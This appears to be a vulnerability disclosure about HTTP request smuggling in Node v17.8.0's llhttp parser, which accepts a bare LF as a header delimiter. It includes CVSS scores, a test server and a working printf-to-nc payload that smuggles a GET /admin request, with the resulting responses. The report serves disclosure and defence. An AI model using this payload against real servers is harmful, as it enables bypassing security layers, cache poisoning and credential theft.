6.5 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
6.4 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:P/A:N
0.003 Low
EPSS
Percentile
67.9%
Summary:
The llhttp
parser in the http
module in Node v17.8.0 does not strictly use the CRLF sequence to delimit HTTP requests. This can lead to HTTP Request Smuggling (HRS).
Description:
The LF character (without CR) is sufficient to delimit HTTP header fields in the lihttp
parser. According to RFC7230 section 3, only the CRLF sequence should delimit each header-field
.
Consider the following request (all lines are delimited by CRLF except the [\n]
part)
GET / HTTP/1.1
Host: localhost
Dummy: x[\n]Content-Length: 23
GET / HTTP/1.1
Dummy: GET /admin HTTP/1.1
Host: localhost
Suppose that an upstream server:
This leads to HTTP request smuggling as the Node server sees one extra header field, Content-Length: 23
while the upstream proxy thinks that the content length of the first request is 0.
Request as seen by the Node server:
GET / HTTP/1.1
Host: localhost
Dummy: x
Content-Length: 23
GET / HTTP/1.1
Dummy: GET /admin HTTP/1.1
Host: localhost
Server code I used for testing:
const http = require('http');
http.createServer((request, response) => {
let body = [];
request.on('error', (err) => {
response.end("error while reading body: " + err)
}).on('data', (chunk) => {
body.push(chunk);
}).on('end', () => {
body = Buffer.concat(body).toString();
response.on('error', (err) => {
response.end("error while sending response: " + err)
});
response.end(JSON.stringify({
"URL": request.url,
"Headers": request.headers,
"Length": body.length,
"Body": body,
}) + "\n");
});
}).listen(80);
Payload:
(printf "GET / HTTP/1.1\r\n"\
"Host: localhost\r\n"\
"Dummy: x\nContent-Length: 23\r\n"\
"\r\n"\
"GET / HTTP/1.1\r\n"\
"Dummy: GET /admin HTTP/1.1\r\n"\
"Host: localhost\r\n"\
"\r\n"\
"\r\n") | nc localhost 80
Expected result: Sees two requests, both to /
.
Actual result: Sees one request to /
and another to /admin
.
HTTP/1.1 200 OK
Date: Mon, 28 Mar 2022 15:51:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 124
{"URL":"/","Headers":{"host":"localhost","dummy":"x","content-length":"23"},"Length":23,"Body":"GET / HTTP/1.1\r\nDummy: "}
HTTP/1.1 200 OK
Date: Mon, 28 Mar 2022 15:51:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 69
{"URL":"/admin","Headers":{"host":"localhost"},"Length":0,"Body":""}
Depending on the specific web application, HRS can lead to cache poisoning, bypassing of security layers, stealing of credentials and so on.
6.5 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
6.4 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:P/A:N
0.003 Low
EPSS
Percentile
67.9%